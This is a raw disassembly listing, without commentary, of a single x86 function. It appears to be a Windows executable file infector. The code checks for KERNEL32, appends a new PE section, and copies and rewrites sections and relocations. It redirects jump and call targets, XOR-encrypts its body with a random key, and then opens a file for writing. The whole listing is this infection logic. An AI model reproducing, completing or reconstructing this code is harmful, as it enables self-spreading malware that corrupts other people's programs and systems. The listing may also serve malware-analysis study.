loc_43FA2D:				; CODE XREF: sub_43F4CC+534j
		mov	eax, [ebp+var_31F0C]
		movsx	eax, [ebp+eax+var_3200B]
		mov	edx, dword_44D100
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_43FA02
		mov	eax, dword_44D0E0
		cmp	byte ptr [ebp+eax+var_32010+3],	4Bh
		jnz	short loc_43FABC
		mov	eax, dword_44D1A4
		add	eax, dword_44D1D8
		cmp	byte ptr [ebp+eax+var_32010+2],	45h
		jnz	short loc_43FABC
		mov	eax, dword_44D108
		mov	edx, dword_44D09C
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_32014+1],	52h
		jnz	short loc_43FABC
		mov	edx, dword_44D1D0
		cmp	[ebp+edx+var_3200B], 4Ch
		jnz	short loc_43FABC
		cmp	byte ptr [ebp+eax+var_32010+2],	33h
		jnz	short loc_43FABC
		mov	eax, dword_44D0B0
		add	eax, dword_44D238
		cmp	[ebp+eax+var_32016], 32h
		jnz	short loc_43FABC
		mov	[ebp+var_1174],	1


loc_43FABC:				; CODE XREF: sub_43F4CC+589j
					; sub_43F4CC+59Ej ...
		add	[ebp+var_438], 14h


loc_43FAC3:				; CODE XREF: sub_43F4CC+4BAj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_43F98B


loc_43FAD8:				; CODE XREF: sub_43F4CC+4E8j
		cmp	[ebp+var_1174],	0
		jz	loc_4409C3
		mov	eax, [ebp+var_8]
		add	eax, 16h
		or	word ptr [eax],	1
		lea	eax, [ebp+var_31EC7]
		mov	[ebp+var_42C], eax
		mov	eax, [eax+3Ch]
		mov	[ebp+var_84C], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_848], eax
		cmp	[ebp+var_1180],	0
		jnz	loc_43FCBF
		mov	eax, [ebp+var_8]
		mov	[ebp+var_31F0C], eax
		movsx	edx, word_44D190
		sub	edx, 5
		cmp	[eax+0D0h], edx
		jz	loc_43FCBF
		mov	edx, [eax+0D4h]
		mov	[ebp+var_31F10], edx
		mov	ecx, dword_44D208
		sub	ecx, 6
		cmp	edx, ecx
		jz	loc_43FCBF
		mov	ecx, 28h
		mov	edi, [ebp+var_840]
		add	edi, 0F8h
		mov	eax, ecx
		mov	edx, [ebp+var_31F0C]
		movzx	edx, word ptr [edx+6]
		mov	[ebp+var_31F14], edx
		mul	edx
		mov	[ebp+var_31F18], eax
		mov	edx, edi
		add	edx, eax
		mov	[ebp+var_31F20], edx
		mov	eax, ecx
		mov	[ebp+var_31F1C], eax
		mov	ecx, dword_44D1B4
		movsx	edi, word_44D210
		add	ecx, edi
		sub	ecx, 6
		mul	ecx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_31F20]
		mov	edx, [ebp+var_31F24]
		add	eax, edx
		mov	edx, [ebp+var_31F10]
		add	eax, edx
		mov	edx, [ebp+var_31F0C]
		cmp	[edx+54h], eax
		jbe	loc_43FCBF
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F30], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F34], eax
		mov	eax, [ebp+var_31F30]
		mov	edx, [ebp+var_31F34]
		add	eax, edx
		mov	[ebp+var_31F28], eax
		mov	[ebp+var_31F38], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		movsx	edi, word_44D220
		add	edi, dword_44D0C8
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F3C], eax
		mov	eax, [ebp+var_31F38]
		mov	edx, [ebp+var_31F3C]
		add	eax, edx
		mov	[ebp+var_31F2C], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F28]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F2C]
		add	edx, eax
		push	edx
		call	ds:dword_44B808
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F40], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		movsx	edi, word_44D1F0
		add	edi, dword_44D13C
		sub	edi, 8
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_31F40]
		mov	edx, eax
		mov	ecx, [ebp+var_31F44]
		add	[edx], ecx


loc_43FCBF:				; CODE XREF: sub_43F4CC+64Bj
					; sub_43F4CC+66Aj ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_44108C
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F28]
		mov	esi, edx
		add	esi, eax
		push	offset byte_44E2A9
		call	sub_43AC82
		push	eax
		push	esi
		call	ds:dword_4491A4
		mov	eax, dword_44D200
		add	eax, 1FFFAh
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_44108C
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, dword_44D17C
		add	eax, 0E0000017h
		mov	[esi+24h], eax
		mov	eax, dword_44D198
		inc	eax
		add	eax, dword_44D094
		push	eax
		mov	eax, dword_44D0BC
		movsx	edx, word_44D220
		add	eax, edx
		sub	eax, 9
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_44B818
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1060],	eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_44108C
		add	esp, 30h
		mov	[ebp+var_10], eax
		movsx	eax, word_44D0E8
		mov	edx, dword_44D1A8
		lea	eax, [eax+edx+1FFF4h]
		add	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	ds:dword_44CD90
		movsx	edi, word_44D228
		sub	edi, 3
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, dword_44D124
		sub	eax, 2
		mov	edx, [ebp+var_42C]
		mov	ecx, edi
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		mov	edi, dword_44D134
		sub	edi, 3
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		call	ds:dword_44CD90
		mov	edi, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F30], edx
		mov	[ebp+var_31F2C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F30]
		mov	[ecx+edi], dl
		call	ds:dword_44CD90
		movsx	edx, word_44D0F8
		add	edx, dword_44D1CC
		dec	edx
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F38], edx
		mov	[ebp+var_31F34], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F38]
		mov	[ecx+edi], dl
		movsx	eax, word_44D21C
		mov	edx, dword_44D138
		lea	eax, [eax+edx+35h]
		mov	[ebp+var_43C], eax
		jmp	short loc_43FECA
; ---------------------------------------------------------------------------


loc_43FE95:				; CODE XREF: sub_43F4CC+A0Aj
		call	ds:dword_44CD90
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F40], edx
		mov	[ebp+var_31F3C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F40]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_43FECA:				; CODE XREF: sub_43F4CC+9C7j
		mov	eax, [ebp+var_84C]
		cmp	[ebp+var_43C], eax
		jb	short loc_43FE95
		cmp	[ebp+var_1180],	0
		jz	short loc_43FF53
		mov	eax, [ebp+var_8]
		mov	edx, [eax+34h]
		add	edx, [eax+28h]
		mov	eax, dword_44D0C0
		add	eax, dword_44D168
		sub	eax, 6
		add	edx, eax
		mov	[ebp+var_31F44], edx
		mov	eax, [ebp+var_850]
		movsx	edx, word_44D1DC
		add	edx, dword_44D15C
		dec	edx
		add	eax, edx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+eax]
		mov	[ebp+var_31F48], eax
		mov	edx, dword_44D22C
		add	edx, 0FFFFFFFBh
		sub	eax, edx
		add	eax, [ebp+var_31F44]
		mov	edx, dword_44D094
		add	edx, 2
		add	eax, edx
		mov	[ebp+var_31F4C], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_31F4C]
		sub	edx, [eax+34h]
		mov	[eax+28h], edx


loc_43FF53:				; CODE XREF: sub_43F4CC+A13j
		push	0Dh
		push	offset dword_44D28C
		lea	eax, [ebp+var_31ED4]
		push	eax
		call	ds:dword_44B808
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED4]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_44B808
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		movsx	edx, word_44D228
		sub	edx, 2
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_43FFBF
; ---------------------------------------------------------------------------


loc_43FFA5:				; CODE XREF: sub_43F4CC+B02j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_43FFBF:				; CODE XREF: sub_43F4CC+AD7j
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_43FFA5
		mov	eax, dword_44D124
		movsx	edx, word_44D204
		add	eax, edx
		sub	eax, 8
		mov	[ebp+var_18], eax
		mov	eax, dword_44D168
		add	eax, dword_44D240
		sub	eax, 9
		mov	[ebp+var_440], eax
		jmp	loc_440266
; ---------------------------------------------------------------------------


loc_43FFFD:				; CODE XREF: sub_43F4CC+DAAj
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F48]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F4C], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F4C]
		mov	esi, edx
		add	esi, eax
		movsx	eax, word_44D0C4
		add	eax, dword_44D0B0
		sub	eax, 12h
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_4400A5
		movsx	eax, word_44D21C
		add	eax, dword_44D240
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_4400A5
		mov	eax, dword_44D0AC
		add	eax, dword_44D0D0
		dec	eax
		cmp	byte ptr [ebx+eax], 63h
		jnz	short loc_4400A5
		mov	eax, [ebx+14h]
		mov	[ebp+var_1178],	eax
		jmp	loc_440260
; ---------------------------------------------------------------------------


loc_4400A5:				; CODE XREF: sub_43F4CC+BA1j
					; sub_43F4CC+BB7j ...
		mov	eax, dword_44D1B4
		add	eax, dword_44D150
		sub	eax, 6
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_4400EF
		mov	eax, dword_44D218
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_4400EF
		mov	eax, dword_44D1AC
		add	eax, dword_44D1A0
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_4400EF
		mov	eax, [ebx+14h]
		mov	[ebp+var_117C],	eax
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1184],	eax
		jmp	loc_440260
; ---------------------------------------------------------------------------


loc_4400EF:				; CODE XREF: sub_43F4CC+BEBj
					; sub_43F4CC+BF9j ...
		mov	eax, dword_44D1E0
		add	eax, dword_44D238
		sub	eax, 0Ah
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_440134
		mov	eax, dword_44D218
		add	eax, dword_44D200
		sub	eax, 0Eh
		cmp	byte ptr [ebx+eax], 69h
		jnz	short loc_440134
		movsx	eax, word_44D098
		movsx	edx, word_44D228
		add	eax, edx
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_440260


loc_440134:				; CODE XREF: sub_43F4CC+C35j
					; sub_43F4CC+C49j
		push	ebx
		push	esi
		call	ds:dword_4491A4
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		mov	eax, dword_44D1A4
		add	eax, 2
		movsx	edx, word_44D194
		add	eax, edx
		push	eax
		movsx	eax, word_44D0F4
		sub	eax, 7
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_44B818
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_44108C
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_44D0AC
		movsx	edx, word_44D128
		add	eax, edx
		sub	eax, 9
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_44020B
		mov	eax, [ebp+var_31F44]
		cmp	[ebp+var_10], eax
		jbe	short loc_44020B
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F50], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_44020B:				; CODE XREF: sub_43F4CC+D1Dj
					; sub_43F4CC+D28j
		mov	eax, dword_44D1A8
		add	eax, 0FF1h
		movsx	edx, word_44D220
		add	eax, edx
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebx+8]
		push	eax
		call	sub_44108C
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [ebx+8]
		mov	[eax+50h], edx
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_44B808
		add	esp, 14h


loc_440260:				; CODE XREF: sub_43F4CC+BD4j
					; sub_43F4CC+C1Ej ...
		inc	[ebp+var_440]


loc_440266:				; CODE XREF: sub_43F4CC+B2Cj
		mov	eax, [ebp+var_848]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_43FFFD
		mov	eax, [ebp+var_1178]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_44028B:				; CODE XREF: sub_43F4CC+FF5j
		movsx	eax, word_44D180
		sub	eax, 5
		mov	[ebp+var_1C], eax
		jmp	short loc_4402F6
; ---------------------------------------------------------------------------


loc_44029A:				; CODE XREF: sub_43F4CC+E30j
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_4402B6
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_4402B6:				; CODE XREF: sub_43F4CC+DDDj
		mov	edi, [ebp+var_1C]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_4402F3
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_106C],	edi
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_4402FE
; ---------------------------------------------------------------------------


loc_4402F3:				; CODE XREF: sub_43F4CC+E03j
		inc	[ebp+var_1C]


loc_4402F6:				; CODE XREF: sub_43F4CC+DCCj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], eax
		jb	short loc_44029A


loc_4402FE:				; CODE XREF: sub_43F4CC+E25j
		mov	eax, dword_44D18C
		add	eax, dword_44D0B0
		sub	eax, 0Ah
		mov	[ebp+var_428], eax
		jmp	loc_440487
; ---------------------------------------------------------------------------


loc_440317:				; CODE XREF: sub_43F4CC+FC7j
		mov	eax, [ebp+var_428]
		movsx	edx, word_44D1DC
		dec	edx
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F48], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F44], ax
		movzx	eax, word ptr [ebp+var_31F44]
		mov	edx, dword_44D184
		dec	edx
		cmp	eax, edx
		jz	loc_440499
		movzx	edi, word ptr [ebp+var_31F44]
		mov	edx, dword_44D238
		add	edx, dword_44D218
		mov	ecx, edx
		sub	ecx, 6
		sar	edi, cl
		mov	word ptr [ebp+var_31F4C+2], di
		movzx	edi, word ptr [ebp+var_31F44]
		movsx	edx, word_44D090
		add	edx, dword_44D100
		mov	ecx, edx
		sub	ecx, 8
		shl	edi, cl
		mov	word ptr [ebp+var_31F44+2], di
		movzx	edi, word ptr [ebp+var_31F44+2]
		mov	edx, dword_44D1C8
		mov	ecx, edx
		add	ecx, dword_44D150
		sar	edi, cl
		mov	word ptr [ebp+var_31F44+2], di
		movzx	eax, word ptr [ebp+var_31F44+2]
		mov	edx, dword_44D0C8
		movsx	ecx, word_44D0E4
		add	edx, ecx
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_4403E8
		mov	eax, dword_44D1A0
		add	eax, dword_44D1FC
		sub	eax, 4
		cmp	[ebp+var_428], eax
		jnz	loc_440499


loc_4403E8:				; CODE XREF: sub_43F4CC+F00j
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F44+2]
		add	eax, edx
		mov	[ebp+var_31F50], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F44+2]
		add	eax, edx
		mov	[ebp+var_31F54], eax
		sub	eax, [ebp+var_31F50]
		mov	[ebp+var_31F58], eax
		movzx	eax, word ptr [ebp+var_31F4C+2]
		mov	edx, dword_44D1A0
		add	edx, 2
		add	edx, dword_44D1C4
		cmp	eax, edx
		jnz	short loc_44047C
		mov	eax, [ebp+var_106C]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F44+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F5C], eax
		mov	edx, [ebp+var_31F58]
		add	[eax], edx


loc_44047C:				; CODE XREF: sub_43F4CC+F83j
		mov	eax, dword_44D0E0
		add	[ebp+var_428], eax


loc_440487:				; CODE XREF: sub_43F4CC+E46j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_440317


loc_440499:				; CODE XREF: sub_43F4CC+E7Ej
					; sub_43F4CC+F16j
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_848]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_1178]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_44028B
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1188],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		cmp	[ebp+var_1180],	0
		jnz	short loc_440504
		add	eax, 60h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+68h]
		add	[eax], edx


loc_440504:				; CODE XREF: sub_43F4CC+1017j
		mov	eax, [ebp+var_8]
		movsx	edx, word_44D098
		add	edx, 8
		mov	[eax+44h], dx
		movsx	edx, word_44D194
		add	edx, dword_44D1B0
		sub	edx, 8
		mov	[eax+1Ah], dl
		mov	edx, dword_44D1A4
		movsx	ecx, word_44D220
		add	edx, ecx
		sub	edx, 3
		mov	[eax+46h], dx
		mov	eax, [ebp+var_117C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE4], eax
		mov	eax, [ebp+var_117C]
		mov	edx, [ebp+var_31EE4]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1184]
		mov	[ebp+var_31EE8], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EEC], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		movsx	eax, word_44D0F4
		movsx	edx, word_44D0B8
		add	eax, edx
		sub	eax, 10h
		mov	[ebp+var_24], eax
		jmp	short loc_4405D8
; ---------------------------------------------------------------------------


loc_440597:				; CODE XREF: sub_43F4CC+1112j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_4405D5
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_118C],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1194],	edi
		jmp	short loc_4405E0
; ---------------------------------------------------------------------------


loc_4405D5:				; CODE XREF: sub_43F4CC+10E5j
		inc	[ebp+var_24]


loc_4405D8:				; CODE XREF: sub_43F4CC+10C9j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_440597


loc_4405E0:				; CODE XREF: sub_43F4CC+1107j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1194]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_118C]
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_440893
; ---------------------------------------------------------------------------


loc_440621:				; CODE XREF: sub_43F4CC+13D3j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		movzx	ecx, byte ptr [edx+eax]
		movsx	edi, word_44D110
		add	edi, 0E9h
		cmp	ecx, edi
		jnz	loc_44074D
		movsx	ecx, word_44D1F0
		add	ecx, dword_44D0A8
		sub	ecx, 5
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_44D1E0
		dec	edi
		cmp	ecx, edi
		jnz	loc_44074D
		movsx	ecx, word_44D114
		add	ecx, dword_44D134
		sub	ecx, 0Bh
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_44D1E8
		add	edi, dword_44D0CC
		sub	edi, 0Dh
		cmp	ecx, edi
		jnz	loc_44074D
		mov	ecx, dword_44D240
		add	ecx, 3
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_44D0BC
		sub	edi, 2
		cmp	ecx, edi
		jnz	loc_44074D
		movsx	ecx, word_44D130
		add	ecx, 2
		add	eax, ecx
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word_44D1DC
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_44074D
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1188]
		mov	[ebp+var_31F48], eax
		mov	eax, dword_44D200
		add	eax, 0FFFFFFF9h
		sub	eax, [ebp+var_31F44]
		add	eax, [ebp+var_31F48]
		mov	edx, dword_44D16C
		add	edx, 2
		sub	eax, edx
		mov	[ebp+var_31F4C], eax
		mov	edi, dword_44D178
		add	edi, dword_44D198
		mov	edx, [ebp+var_C]
		mov	ecx, dword_44D1FC
		sub	ecx, 3
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-38h], ecx


loc_44074D:				; CODE XREF: sub_43F4CC+116Ej
					; sub_43F4CC+1195j ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F44], edx
		mov	ecx, dword_44D170
		movzx	edi, byte ptr [edx+eax]
		mov	edx, dword_44D0C8
		lea	edx, [ecx+edx+0E1h]
		cmp	edi, edx
		jnz	loc_440890
		mov	edx, dword_44D09C
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		movsx	ecx, word_44D130
		sub	ecx, 2
		cmp	edx, ecx
		jnz	loc_440890
		mov	edx, dword_44D0A4
		add	edx, dword_44D0DC
		sub	edx, 7
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, dword_44D1C4
		dec	ecx
		cmp	edx, ecx
		jnz	loc_440890
		mov	edx, dword_44D124
		movsx	ecx, word_44D164
		add	edx, ecx
		sub	edx, 3
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, dword_44D170
		sub	ecx, 5
		cmp	edx, ecx
		jnz	loc_440890
		movsx	edx, word_44D0C4
		sub	edx, 5
		add	eax, edx
		mov	edx, [ebp+var_31F44]
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_44D09C
		dec	edx
		cmp	eax, edx
		jnz	short loc_440890
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_1190]
		mov	[ebp+var_31F4C], eax
		mov	eax, dword_44D0F0
		add	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_31F48]
		add	eax, [ebp+var_31F4C]
		movsx	edx, word_44D0B8
		sub	edx, 5
		sub	eax, edx
		mov	[ebp+var_31F50], eax
		movsx	edi, word_44D164
		mov	edx, [ebp+var_C]
		movsx	ecx, word_44D12C
		add	ecx, dword_44D15C
		sub	ecx, 7
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-10h], ecx


loc_440890:				; CODE XREF: sub_43F4CC+12A6j
					; sub_43F4CC+12CCj ...
		inc	[ebp+var_C]


loc_440893:				; CODE XREF: sub_43F4CC+1150j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_440621
		push	[ebp+var_1070]
		call	ds:dword_44B82C	; CloseHandle
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_4491A4
		add	esp, 8
		lea	ecx, [ebp+var_116F]
		or	eax, 0FFFFFFFFh


loc_4408CD:				; CODE XREF: sub_43F4CC+1406j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4408CD
		mov	[ebp+var_31ED8], eax
		mov	edx, dword_44D0C0
		movsx	ecx, word_44D194
		add	edx, ecx
		sub	edx, 0Ah
		sub	eax, edx
		mov	[ebp+eax+var_116F], 69h
		mov	eax, [ebp+var_31ED8]
		movsx	edx, word_44D194
		add	edx, dword_44D1A4
		sub	edx, 8
		sub	eax, edx
		mov	[ebp+eax+var_116F], 76h
		mov	eax, [ebp+var_31ED8]
		mov	edx, dword_44D094
		add	edx, dword_44D170
		sub	edx, 6
		sub	eax, edx
		mov	[ebp+eax+var_116F], 72h
		push	0
		mov	eax, dword_44D0C0
		sub	eax, 4
		push	eax
		push	2
		push	0
		movsx	eax, word_44D090
		add	eax, dword_44D1CC
		sub	eax, 6
		push	eax
		push	40000000h
		lea	eax, [ebp+var_116F]
		push	eax
